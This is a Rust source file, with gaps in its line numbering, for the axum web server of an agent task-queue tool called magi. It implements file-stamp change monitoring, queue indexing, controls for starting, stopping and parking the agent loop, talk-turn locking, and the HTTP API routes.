1#[cfg(test)]
95pub(crate) mod request_cost;
96
97use std::collections::{HashMap, HashSet};
98use std::convert::Infallible;
99use std::net::{IpAddr, Ipv4Addr, SocketAddr};
100use std::path::{Path as FsPath, PathBuf};
101use std::pin::Pin;
102use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
103use std::time::Duration;
104use tokio::sync::Notify;
105
106use anyhow::{Context, Result};
107use axum::Json;
108use axum::Router;
109use axum::body::Bytes;
110use axum::extract::rejection::JsonRejection;
111use axum::extract::{DefaultBodyLimit, Path, Query, State};
112use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
113use axum::response::sse::{Event, KeepAlive, Sse};
114use axum::response::{IntoResponse, Response};
115use axum::routing::{get, post, put};
116use jiff::Timestamp;
117use serde::{Deserialize, Serialize};
118use tokio_stream::StreamExt as _;
119use tokio_stream::wrappers::ReceiverStream;
120
121use crate::agent;
122use crate::ask::{self, Answer, Question, Questions};
123use crate::config::{AgentKind, Config, Update, UpdateMode};
124use crate::md;
125use crate::notices::{Notice, Notices};
126use crate::persona;
127use crate::persona_icon;
128use crate::proc::Quiet as _;
129use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
130use crate::run::{RunState, RunStatus};
131use crate::talk::{Talk, Talks};
132use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
133
134pub const DEFAULT_PORT: u16 = 7878;
136
137const POLL: Duration = Duration::from_secs(1);
139
140const KEEPALIVE: Duration = Duration::from_secs(15);
144
145const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
156
157const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
160
161const LIST_DEFAULT: usize = 50;
165const LIST_MAX: usize = 500;
167
168const TITLE_MAX: usize = 72;
170
171const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
180
181const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
187
188const FILENAME_HEADER: &str = "x-filename";
192
193const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
216 font-src data:; base-uri 'none'; form-action 'none'; \
217 frame-ancestors 'self'";
218
219const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
220const APP_CSS: &str = include_str!("../assets/ui/app.css");
221const APP_JS: &str = include_str!("../assets/ui/app.js");
222
223#[derive(Debug, Clone, Copy, PartialEq, Eq)]
225pub enum Bind {
226 Auto,
228 Addr(IpAddr),
230}
231
232impl std::str::FromStr for Bind {
233 type Err = String;
234
235 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
239 if s.eq_ignore_ascii_case("auto") {
240 return Ok(Self::Auto);
241 }
242 s.parse()
243 .map(Self::Addr)
244 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
245 }
246}
247
248impl std::fmt::Display for Bind {
249 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
250 match self {
251 Self::Auto => f.write_str("auto"),
252 Self::Addr(addr) => write!(f, "{addr}"),
253 }
254 }
255}
256
257#[derive(Debug, Clone)]
259pub struct Opts {
260 pub bind: Bind,
262 pub port: u16,
264 pub repo: PathBuf,
266 pub open: bool,
269 pub merge: Option<String>,
277}
278
279impl Default for Opts {
280 fn default() -> Self {
281 Self {
282 bind: Bind::Auto,
283 port: DEFAULT_PORT,
284 repo: PathBuf::from("."),
285 open: false,
286 merge: None,
287 }
288 }
289}
290
291mod id_links;
292
293type Stamps = HashMap<String, (u128, u64)>;
294
295fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
297 try_store_stamps(root, runs).unwrap_or_default()
298}
299
300fn try_store_stamps(root: &FsPath, runs: bool) -> std::io::Result<Stamps> {
301 try_stamps(root, runs, false)
302}
303
304fn try_stamps(root: &FsPath, runs: bool, all_entries: bool) -> std::io::Result<Stamps> {
305 use std::hash::{Hash as _, Hasher as _};
306 let entries = match std::fs::read_dir(root) {
307 Ok(entries) => entries,
308 Err(e) if e.kind() == std::io::ErrorKind::NotFound => return Ok(HashMap::new()),
309 Err(e) => return Err(e),
310 };
311 let mut stamps = HashMap::new();
312 for entry in entries {
313 let entry = entry?;
314 let path = if runs {
315 entry.path().join("run.json")
316 } else {
317 entry.path()
318 };
319 if !runs && !all_entries && path.extension().is_none_or(|ext| ext != "json") {
320 continue;
321 }
322 let identity = match file_identity(&path) {
323 Ok(identity) => identity,
324 Err(e) if runs && e.kind() == std::io::ErrorKind::NotFound => continue,
325 Err(e) => return Err(e),
326 };
327 let modified = identity
328 .modified
329 .duration_since(std::time::UNIX_EPOCH)
330 .unwrap_or_default();
331 let mut hasher = std::hash::DefaultHasher::new();
332 identity.hash(&mut hasher);
333 let id = if runs || all_entries {
334 entry.file_name().to_string_lossy().into_owned()
335 } else {
336 path.file_stem()
337 .unwrap_or_default()
338 .to_string_lossy()
339 .into_owned()
340 };
341 stamps.insert(id, (modified.as_nanos(), hasher.finish()));
342 }
343 Ok(stamps)
344}
345
346#[derive(Debug, Serialize)]
347struct Delta {
348 base: u64,
349 changed: Vec<String>,
350 removed: Vec<String>,
351}
352
353fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
354 let mut changed: Vec<_> = next
355 .iter()
356 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
357 .map(|(id, _)| id.clone())
358 .collect();
359 let mut removed: Vec<_> = previous
360 .keys()
361 .filter(|id| !next.contains_key(*id))
362 .cloned()
363 .collect();
364 changed.sort_unstable();
365 removed.sort_unstable();
366 Delta {
367 base,
368 changed,
369 removed,
370 }
371}
372
373#[cfg(test)]
375fn runs_revision(runs: &FsPath) -> u64 {
376 stamps_revision(&store_stamps(runs, true))
377}
378
379fn stamps_revision(stamps: &Stamps) -> u64 {
383 use std::hash::{Hash as _, Hasher as _};
384 if stamps.is_empty() {
385 return 0;
386 }
387 let mut entries: Vec<_> = stamps.iter().collect();
388 entries.sort_unstable();
389 let mut hasher = std::hash::DefaultHasher::new();
390 entries.hash(&mut hasher);
391 hasher.finish().max(1)
392}
393
394#[derive(Clone, Debug)]
395pub(crate) struct ChangeNotification {
396 pub payload: serde_json::Value,
397}
398
399#[derive(Default, Debug)]
400pub(crate) struct QueueIndex {
401 records: HashMap<String, (FileIdentity, Arc<TaskRelation>)>,
403 #[cfg(test)]
404 reparsed: usize,
405}
406
407#[derive(Clone, Debug)]
408struct TaskRelation {
409 id: String,
410 status: Option<crate::queue::TaskStatus>,
411 priority: i32,
412 runs: Vec<String>,
413 source: Source,
414 chat: Option<String>,
415}
416
417impl From<Task> for TaskRelation {
418 fn from(task: Task) -> Self {
419 Self {
420 id: task.id,
421 status: Some(task.status),
422 priority: task.priority,
423 runs: task.runs,
424 source: task.source,
425 chat: task.chat,
426 }
427 }
428}
429
430#[derive(Debug, PartialEq, Eq, Hash)]
431struct FileIdentity {
432 modified: std::time::SystemTime,
433 len: u64,
434 #[cfg(unix)]
435 identity: (u64, u64, i64, i64),
436}
437
438fn file_identity(path: &FsPath) -> std::io::Result<FileIdentity> {
439 let meta = path.metadata()?;
440 Ok(FileIdentity {
441 modified: meta.modified()?,
442 len: meta.len(),
443 #[cfg(unix)]
444 identity: {
445 use std::os::unix::fs::MetadataExt as _;
446 (meta.dev(), meta.ino(), meta.ctime(), meta.ctime_nsec())
447 },
448 })
449}
450
451type Revisions = (u64, u64, u64, u64, u64, u64);
452type MonitorSnapshot = Option<(Revisions, [Stamps; 3])>;
453
454#[derive(Debug)]
455pub(crate) struct SharedMonitor {
456 pub broadcaster: tokio::sync::broadcast::Sender<ChangeNotification>,
457 pub latest: Arc<Mutex<MonitorSnapshot>>,
458 pub worker_started: std::sync::atomic::AtomicBool,
459 pub queue_index: Arc<Mutex<QueueIndex>>,
460 list_walks: Mutex<Vec<ListWalk>>,
461}
462
463fn monitor_scan(ui: &Ui, previous: MonitorSnapshot) -> (Revisions, [Stamps; 3]) {
465 let (mut rev, mut stamps) = previous.unwrap_or_default();
466 for (index, root, runs) in [
467 (0, ui.queue.root(), false),
468 (1, ui.runs.as_path(), true),
469 (2, ui.talks.root(), false),
470 ] {
471 if let Ok(next) = try_store_stamps(root, runs) {
472 let value = stamps_revision(&next);
473 match index {
474 0 => rev.0 = value,
475 1 => rev.1 = value,
476 _ => rev.3 = value,
477 }
478 stamps[index] = next;
479 }
480 }
481 if let Ok(next) = try_stamps(ui.questions.root(), false, true) {
482 rev.2 = stamps_revision(&next);
483 }
484 if let Ok(next) = try_stamps(ui.notices.root(), false, true) {
485 rev.4 = stamps_revision(&next);
486 }
487 rev.5 = ui.lock_loop().rev;
488 (rev, stamps)
489}
490
491impl SharedMonitor {
492 pub fn new() -> Self {
493 let (tx, _) = tokio::sync::broadcast::channel(64);
494 Self {
495 broadcaster: tx,
496 latest: Arc::default(),
497 worker_started: std::sync::atomic::AtomicBool::new(false),
498 queue_index: Arc::default(),
499 list_walks: Mutex::default(),
500 }
501 }
502
503 async fn revisions(&self, ui: &Arc<Ui>) -> ApiResult<Revisions> {
504 let mut receiver = self.broadcaster.subscribe();
505 self.ensure_worker(ui);
506 loop {
507 if let Some((revisions, _)) = self
508 .latest
509 .lock()
510 .unwrap_or_else(PoisonError::into_inner)
511 .as_ref()
512 {
513 return Ok(*revisions);
514 }
515 tokio::time::timeout(Duration::from_secs(5), receiver.recv())
516 .await
517 .map_err(|_| ApiError::internal("Store monitoring is unavailable; retry"))?
518 .map_err(|_| ApiError::internal("Store monitoring restarted; retry"))?;
519 }
520 }
521
522 pub fn ensure_worker(&self, ui: &Arc<Ui>) {
523 if self
524 .worker_started
525 .compare_exchange(
526 false,
527 true,
528 std::sync::atomic::Ordering::SeqCst,
529 std::sync::atomic::Ordering::SeqCst,
530 )
531 .is_err()
532 {
533 return;
534 }
535
536 let weak_ui = Arc::downgrade(ui);
537 tokio::spawn(async move {
538 let mut ticker = tokio::time::interval(POLL);
539 loop {
540 ticker.tick().await;
541 let Some(ui) = weak_ui.upgrade() else {
542 break;
543 };
544
545 let previous = ui
546 .monitor
547 .latest
548 .lock()
549 .unwrap_or_else(PoisonError::into_inner)
550 .clone();
551 let state = Arc::clone(&ui);
552 let scan =
553 tokio::task::spawn_blocking(move || monitor_scan(&state, previous)).await;
554
555 ticker.reset();
557 let Ok((revisions, next_stamps)) = scan else {
558 continue;
559 };
560
561 let mut latest_guard = match ui.monitor.latest.lock() {
562 Ok(g) => g,
563 Err(p) => p.into_inner(),
564 };
565
566 let previous = latest_guard.take();
567 let (last_rev, prev_stamps) = match previous {
568 Some((r, s)) => (Some(r), Some(s)),
569 None => (None, None),
570 };
571
572 if last_rev == Some(revisions) {
573 *latest_guard = Some((revisions, prev_stamps.unwrap_or(next_stamps)));
574 continue;
575 }
576
577 let mut payload = serde_json::json!({
578 "queue_rev": revisions.0,
579 "runs_rev": revisions.1,
580 "questions_rev": revisions.2,
581 "talks_rev": revisions.3,
582 "notifications_rev": revisions.4,
583 "loop_rev": revisions.5,
584 });
585
586 if let (Some(base), Some(prev)) = (last_rev, prev_stamps.as_ref()) {
587 for (index, (key, rev)) in [
588 ("queue_delta", base.0),
589 ("runs_delta", base.1),
590 ("talks_delta", base.3),
591 ]
592 .into_iter()
593 .enumerate()
594 {
595 let delta = diff_stamps(&prev[index], &next_stamps[index], rev);
596 if delta.changed.len() + delta.removed.len() > 0
597 && delta.changed.len() <= 50
598 {
599 payload[key] = serde_json::to_value(delta).expect("serializable delta");
600 }
601 }
602 }
603
604 *latest_guard = Some((revisions, next_stamps));
605 drop(latest_guard);
606
607 let _ = ui.monitor.broadcaster.send(ChangeNotification { payload });
608 }
609 });
610 }
611}
612
613#[derive(Debug, Clone)]
619pub struct Ui {
620 queue: Queue,
621 questions: Questions,
622 notices: Notices,
625 talks: Talks,
626 runs: PathBuf,
627 references: Arc<id_links::IndexCache>,
628 home: PathBuf,
629 repo: PathBuf,
630 worktrees_root: PathBuf,
637 talk_turns: Arc<Mutex<TalkTurns>>,
645 upgrade_gate: Arc<tokio::sync::Mutex<()>>,
649 upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
652 upgrade_request_error: Arc<Mutex<Option<UpgradeRequestFailure>>>,
654 resuming: Arc<Mutex<HashSet<String>>>,
662 repos_cache: repos::Cache,
666 machine_config: Option<PathBuf>,
670 merge: Option<String>,
672 looping: Arc<Mutex<LoopState>>,
674 launch: Launch,
686 #[cfg(test)]
689 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
690 pub(crate) monitor: Arc<SharedMonitor>,
691}
692
693#[cfg(test)]
713struct BusyQueueGate {
714 reached: tokio::sync::oneshot::Sender<()>,
715 release: std::sync::mpsc::Receiver<()>,
716}
717
718#[cfg(test)]
719impl std::fmt::Debug for BusyQueueGate {
720 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
721 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
722 }
723}
724
725impl Ui {
726 pub fn new(
728 queue: Queue,
729 questions: Questions,
730 talks: Talks,
731 runs: PathBuf,
732 home: PathBuf,
733 repo: PathBuf,
734 ) -> Self {
735 Self {
736 queue,
737 questions,
738 notices: Notices::at(home.join("notifications")),
739 talks,
740 runs,
741 references: Arc::default(),
742 home,
743 repo,
744 worktrees_root: run::default_worktree_root(),
748 talk_turns: Arc::default(),
749 upgrade_gate: Arc::default(),
750 upgrade_spawned: Arc::default(),
751 upgrade_request_error: Arc::default(),
752 resuming: Arc::default(),
753 repos_cache: repos::Cache::new(),
754 machine_config: Config::machine_layer(),
755 merge: None,
756 looping: Arc::default(),
757 launch: launch_daemon,
758 #[cfg(test)]
759 busy_queue_gate: Arc::default(),
760 monitor: Arc::new(SharedMonitor::new()),
761 }
762 }
763
764 fn indexed_tasks(&self) -> ApiResult<Vec<Arc<TaskRelation>>> {
767 let mut index = self
768 .monitor
769 .queue_index
770 .lock()
771 .unwrap_or_else(PoisonError::into_inner);
772 let entries = match std::fs::read_dir(self.queue.root()) {
773 Ok(entries) => entries,
774 Err(e) if e.kind() == std::io::ErrorKind::NotFound => {
775 index.records.clear();
776 return Ok(Vec::new());
777 }
778 Err(e) => return Err(anyhow::Error::from(e).into()),
779 };
780 let mut seen = HashSet::new();
781 for entry in entries {
782 let path = entry.map_err(anyhow::Error::from)?.path();
783 if path.extension().is_none_or(|ext| ext != "json") {
784 continue;
785 }
786 let Some(id) = path.file_stem().and_then(|s| s.to_str()) else {
787 continue;
788 };
789 let stamp = file_identity(&path).map_err(anyhow::Error::from)?;
790 seen.insert(id.to_owned());
791 if !cfg!(unix) || index.records.get(id).is_none_or(|(old, _)| *old != stamp) {
794 let Ok(task) = self.queue.get(id) else {
795 if let Some((_, record)) = index.records.get_mut(id) {
801 Arc::make_mut(record).status = None;
802 }
803 continue;
804 };
805 #[cfg(test)]
806 {
807 index.reparsed += 1;
808 }
809 if file_identity(&path).map_err(anyhow::Error::from)? != stamp {
810 return Err(ApiError::conflict("Queue changed during read; retry"));
811 }
812 index
813 .records
814 .insert(id.to_owned(), (stamp, Arc::new(TaskRelation::from(task))));
815 }
816 }
817 index.records.retain(|id, _| seen.contains(id));
818 let mut tasks: Vec<_> = index
819 .records
820 .values()
821 .map(|(_, task)| task.clone())
822 .collect();
823 tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
824 Ok(tasks)
825 }
826
827 fn find_task_for_run(&self, run_id: &str) -> ApiResult<Option<Task>> {
828 let Some(record) = self
829 .indexed_tasks()?
830 .into_iter()
831 .find(|task| task.runs.iter().any(|id| id == run_id))
832 else {
833 return Ok(None);
834 };
835 let task = self.queue.get(&record.id)?;
836 if !task.runs.iter().any(|id| id == run_id) {
837 return Err(ApiError::conflict("Task relationship changed; retry"));
838 }
839 Ok(Some(task))
840 }
841
842 fn find_tasks_for_talk(&self, talk_id: &str) -> ApiResult<Vec<Task>> {
843 self.indexed_tasks()?
844 .into_iter()
845 .filter(|task| {
846 task.chat.as_deref() == Some(talk_id)
847 || matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
848 })
849 .map(|record| {
850 let task = self.queue.get(&record.id)?;
851 if task.chat.as_deref() != Some(talk_id)
852 && !matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
853 {
854 return Err(ApiError::conflict("Task relationship changed; retry"));
855 }
856 Ok(task)
857 })
858 .collect()
859 }
860
861 pub fn open(repo: PathBuf) -> Self {
864 Self::new(
865 Queue::open(),
866 Questions::open(),
867 Talks::open(),
868 run::runs_root(),
869 run::home(),
870 repo,
871 )
872 }
873
874 #[must_use]
881 pub fn with_merge(mut self, merge: Option<String>) -> Self {
882 self.merge = merge;
883 self
884 }
885
886 #[cfg(test)]
889 #[must_use]
890 fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
891 self.machine_config = path;
892 self
893 }
894
895 #[must_use]
900 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
901 self.worktrees_root = root;
902 self
903 }
904
905 #[cfg(test)]
910 #[must_use]
911 fn with_launch(mut self, launch: Launch) -> Self {
912 self.launch = launch;
913 self
914 }
915
916 #[cfg(test)]
926 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
927 *self
928 .busy_queue_gate
929 .lock()
930 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
931 }
932
933 fn looping(&self) -> Arc<Mutex<LoopState>> {
935 Arc::clone(&self.looping)
936 }
937
938 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
945 if let Some(other) = foreign {
946 return Err(ApiError::conflict(format!(
947 "{} is already running the loop, so this one will not start a \
948 second: two loops on one queue race for the same claims and \
949 burn the agent quota twice over. Stop it where it was \
950 started.",
951 other.who()
952 )));
953 }
954 let mut state = self.lock_loop();
955 if state.live.as_ref().is_some_and(Live::alive) {
956 return Err(ApiError::conflict(format!(
957 "this magi web process (pid {}) is already running the loop",
958 std::process::id()
959 )));
960 }
961
962 let stop = daemon::Stop::new();
963 let opts = daemon::Opts {
967 repo: self.repo.clone(),
968 merge: self.merge.clone(),
969 worktrees_root: Some(self.worktrees_root.clone()),
976 ..daemon::Opts::default()
977 };
978 let launch = self.launch;
979 let looping = Arc::clone(&self.looping);
980 let handle = tokio::spawn({
981 let opts = opts.clone();
982 let stop = stop.clone();
983 async move {
984 let failure = match launch(opts, stop).await {
985 Ok(()) => None,
986 Err(e) => Some(format!("{e:#}")),
987 };
988 match &failure {
989 Some(why) => tracing::error!("the loop stopped: {why}"),
990 None => tracing::info!("the loop stopped"),
991 }
992 let mut state = lock_or_recover(&looping);
998 state.live = None;
999 state.last_error = failure;
1000 state.rev += 1;
1001 }
1002 });
1003 tracing::info!(
1004 "the loop is now running in this process: repo {}, merge {}",
1005 opts.repo.display(),
1006 opts.merge.as_deref().unwrap_or("as the config says")
1007 );
1008 state.live = Some(Live { stop, handle, opts });
1009 state.last_error = None;
1012 state.rev += 1;
1013 Ok(())
1014 }
1015
1016 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
1022 if let Some(other) = foreign {
1023 return Err(ApiError::conflict(format!(
1024 "the loop belongs to {}, and this process cannot stop it - \
1025 stop it where it was started. A button that silently did \
1026 nothing would be worse than this refusal.",
1027 other.who()
1028 )));
1029 }
1030 let mut state = self.lock_loop();
1031 if !park {
1034 state.resume_after_handover = false;
1035 }
1036 let Some(live) = state.live.as_ref() else {
1037 return Ok(());
1038 };
1039 if live.stop.stopped() && (!park || live.stop.parking()) {
1043 return Ok(());
1044 }
1045 if park {
1046 live.stop.park(crate::run::ParkCause::Operator);
1047 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
1048 } else {
1049 live.stop.stop();
1050 tracing::info!("the loop was asked to stop; a run in flight is finished first");
1051 }
1052 state.rev += 1;
1053 Ok(())
1054 }
1055
1056 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
1063 let state = self.lock_loop();
1064 let live = state.live.as_ref().filter(|live| live.alive());
1067 LoopView {
1068 running: live.is_some(),
1069 stopping: live.is_some_and(|live| live.stop.finishing()),
1070 parking: live.is_some_and(|live| live.stop.parking()),
1071 owned: live.is_some(),
1072 repo: live
1073 .map_or(&self.repo, |live| &live.opts.repo)
1074 .display()
1075 .to_string(),
1076 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
1077 last_error: state.last_error.clone(),
1078 daemon: DaemonView::of(reading),
1079 }
1080 }
1081
1082 fn resume_after_handover(&self, resume: bool) -> bool {
1088 if !resume {
1089 return false;
1090 }
1091 let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
1092 match self.start_loop(foreign) {
1093 Ok(()) => true,
1094 Err(e) => {
1095 let why = format!(
1096 "the loop could not be resumed after the upgrade: {}",
1097 e.message
1098 );
1099 tracing::warn!("{why}");
1100 let mut state = self.lock_loop();
1101 state.last_error = Some(why);
1102 state.rev += 1;
1103 false
1104 }
1105 }
1106 }
1107
1108 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
1110 lock_or_recover(&self.looping)
1111 }
1112
1113 fn is_thinking(&self, id: &str) -> bool {
1119 self.talk_turns
1120 .lock()
1121 .is_ok_and(|turns| turns.live.contains(id))
1122 || self.talks.turn_held(id)
1125 }
1126
1127 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1146 self.claim_talk_turn(id, false)
1147 }
1148
1149 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1152 self.claim_talk_turn(id, true)
1153 }
1154
1155 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
1156 let mut live = self
1157 .talk_turns
1158 .lock()
1159 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1160 if live.parking {
1161 if queued {
1162 *live.queued.entry(id.to_owned()).or_default() += 1;
1165 return Ok(None);
1166 }
1167 return Err(ApiError::conflict(UPGRADE_IN_PROGRESS));
1168 }
1169 let inserted = live.live.insert(id.to_owned());
1170 let lease = if inserted {
1174 match self.talks.claim_turn(id) {
1175 Ok(Some(lease)) => Some(lease),
1176 Ok(None) => {
1177 live.live.remove(id);
1178 None
1179 }
1180 Err(e) => {
1181 live.live.remove(id);
1182 return Err(ApiError::from(e));
1183 }
1184 }
1185 } else {
1186 None
1187 };
1188 if lease.is_none() {
1189 if queued {
1190 *live.queued.entry(id.to_owned()).or_default() += 1;
1195 }
1196 return Ok(None);
1197 }
1198 Ok(Some(TalkTurnGuard {
1199 talk: id.to_owned(),
1200 turns: Arc::clone(&self.talk_turns),
1201 released: false,
1202 lease,
1203 }))
1204 }
1205
1206 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
1211 let mut live = self
1212 .talk_turns
1213 .lock()
1214 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1215 if live.parking || live.live.contains(id) {
1217 return Ok(TalkTurnStart::Busy);
1218 }
1219 let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
1220 return Ok(TalkTurnStart::Foreign);
1221 };
1222 let talk = self.talks.get(id).map_err(ApiError::from)?;
1224 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
1225 return Ok(TalkTurnStart::Pending);
1226 }
1227 live.live.insert(id.to_owned());
1228 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
1229 talk: id.to_owned(),
1230 turns: Arc::clone(&self.talk_turns),
1231 released: false,
1232 lease: Some(lease),
1233 }))
1234 }
1235
1236 fn queued_generation(&self, id: &str) -> u64 {
1237 let live = self
1238 .talk_turns
1239 .lock()
1240 .unwrap_or_else(PoisonError::into_inner);
1241 live.queued.get(id).copied().unwrap_or(0)
1242 }
1243
1244 fn turns(&self) -> Arc<Mutex<TalkTurns>> {
1246 Arc::clone(&self.talk_turns)
1247 }
1248
1249 fn park_for_upgrade(&self, from: &str, to: Option<&str>) -> ApiResult<Option<String>> {
1256 let parking = {
1257 let mut state = self.lock_loop();
1258 let resume = state.resume_after_handover
1268 || state
1269 .live
1270 .as_ref()
1271 .is_some_and(|live| live.alive() && !live.stop.stopped());
1272 state.resume_after_handover = resume;
1273 let Some(live) = state.live.as_ref() else {
1274 return Ok(None);
1275 };
1276 let busy = live.stop.busy_now();
1277 live.stop.park(crate::run::ParkCause::Upgrade {
1278 from: from.to_owned(),
1279 to: to.map(|t| t.trim_start_matches('v').to_owned()),
1280 });
1281 state.rev += 1;
1282 busy
1283 };
1284 Ok(if parking {
1285 daemon::current_work(&self.home, jiff::Timestamp::now())
1290 .into_iter()
1291 .next()
1292 .map(|c| c.run)
1293 } else {
1294 None
1295 })
1296 }
1297
1298 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
1302 let mut live = self
1303 .resuming
1304 .lock()
1305 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
1306 if !live.insert(id.to_owned()) {
1307 return Err(ApiError::conflict(format!(
1308 "run {id} is already being resumed"
1309 )));
1310 }
1311 Ok(ResumeGuard {
1312 run: id.to_owned(),
1313 resuming: Arc::clone(&self.resuming),
1314 })
1315 }
1316
1317 pub fn router(self) -> Router {
1325 Router::new()
1326 .route("/", get(index))
1327 .route("/app.css", get(app_css))
1328 .route("/app.js", get(app_js))
1329 .route("/api/health", get(health))
1330 .route("/api/references", post(id_links::resolve_text))
1331 .route("/api/loop", get(loop_get).post(loop_post))
1332 .route("/api/upgrade", post(upgrade_post))
1333 .route("/api/runs", get(runs_list))
1334 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
1335 .route("/api/runs/{id}/core", get(run_core))
1336 .route("/api/runs/{id}/report", get(run_report))
1337 .route("/api/runs/{id}/report.json", get(run_report_json))
1338 .route("/api/runs/{id}/graft.diff", get(run_graft_diff))
1339 .route("/api/runs/{id}/fold", post(run_fold))
1340 .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
1341 .route("/api/runs/{id}/resume", post(run_resume))
1342 .route("/api/queue", get(queue_list))
1343 .route("/api/queue/page", get(queue_page))
1344 .route("/api/search", get(search_get))
1345 .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
1346 .route("/api/queue/{id}/core", get(task_core))
1347 .route("/api/stats", get(stats_get))
1348 .route("/api/stats/queue", get(stats_queue))
1349 .route("/api/repos", get(repos_list))
1350 .route("/api/settings", get(settings_get))
1351 .route("/api/settings/roles", put(settings_put_roles))
1352 .route("/api/queue/{id}/hold", post(queue_hold))
1353 .route("/api/queue/{id}/release", post(queue_release))
1354 .route("/api/queue/{id}/priority", post(queue_priority))
1355 .route("/api/queue/{id}/urgent", post(queue_urgent))
1356 .route("/api/queue/{id}/implementers", post(queue_implementers))
1357 .route("/api/queue/{id}/attempt-limit", post(queue_attempt_limit))
1358 .route("/api/queue/{id}/edit", post(queue_edit))
1359 .route("/api/queue/{id}/done", post(queue_done))
1360 .route("/api/questions", get(questions_list))
1361 .route("/api/questions/core", get(questions_core))
1362 .route("/api/questions/origins", get(question_origins))
1363 .route("/api/questions/{id}/answer", post(question_answer))
1364 .route("/api/questions/{id}/say", post(question_say))
1365 .route("/api/questions/{id}/consult", post(question_consult))
1366 .route("/api/questions/{id}/panel", get(question_panel))
1367 .route("/api/questions/{id}/panel/index.html", get(question_panel))
1375 .route("/api/questions/{id}/panel/{name}", get(question_asset))
1376 .route("/api/questions/{id}/asset/{name}", get(question_asset))
1377 .route("/api/notifications", get(notifications_list))
1378 .route("/api/notifications/read-all", post(notifications_read_all))
1379 .route("/api/notifications/{id}/read", post(notification_read))
1380 .route(
1381 "/api/notifications/{id}/dismiss",
1382 post(notification_dismiss),
1383 )
1384 .route("/api/talks", get(talks_list).post(talk_post))
1385 .route("/api/talks/page", get(talks_page))
1386 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
1387 .route("/api/talks/{id}/core", get(talk_core))
1388 .route("/api/talks/{id}/sections", get(talk_sections))
1389 .route("/api/talks/{id}/say", post(talk_say))
1390 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
1391 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
1392 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
1393 .route("/api/talks/{id}/agent", post(talk_agent))
1394 .route("/api/talks/{id}/persona", post(talk_persona))
1395 .route("/api/talks/{id}/implementers", post(talk_implementers))
1396 .route("/api/talks/{id}/close", post(talk_close))
1397 .route("/api/talks/{id}/reopen", post(talk_reopen))
1398 .route(
1404 "/api/talks/{id}/attachments",
1405 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
1406 )
1407 .route(
1408 "/api/talks/{id}/attachments/{att}",
1409 get(talk_attachment_get),
1410 )
1411 .route("/api/talks/{id}/avatar", get(talk_avatar))
1412 .route("/avatars/operator.svg", get(operator_avatar))
1413 .route(
1414 "/api/avatar-settings",
1415 get(avatar_settings_get)
1416 .put(avatar_settings_put)
1417 .delete(avatar_settings_delete),
1418 )
1419 .route("/avatars/persona", get(settings_persona_avatar))
1420 .route("/avatars/magi", get(magi_avatar))
1421 .route(
1422 "/api/magi-icon",
1423 get(magi_icon_get)
1424 .put(magi_icon_put)
1425 .delete(magi_icon_delete),
1426 )
1427 .route("/api/events", get(events))
1428 .with_state(Arc::new(self))
1429 }
1430}
1431
1432const UPGRADE_IN_PROGRESS: &str = "upgrade in progress, try again in a moment";
1435
1436#[derive(Debug)]
1442struct TalkTurnGuard {
1443 talk: String,
1444 turns: Arc<Mutex<TalkTurns>>,
1445 released: bool,
1446 lease: Option<crate::talk::TurnLease>,
1448}
1449
1450#[derive(Debug, Default)]
1457struct TalkTurns {
1458 live: HashSet<String>,
1459 queued: HashMap<String, u64>,
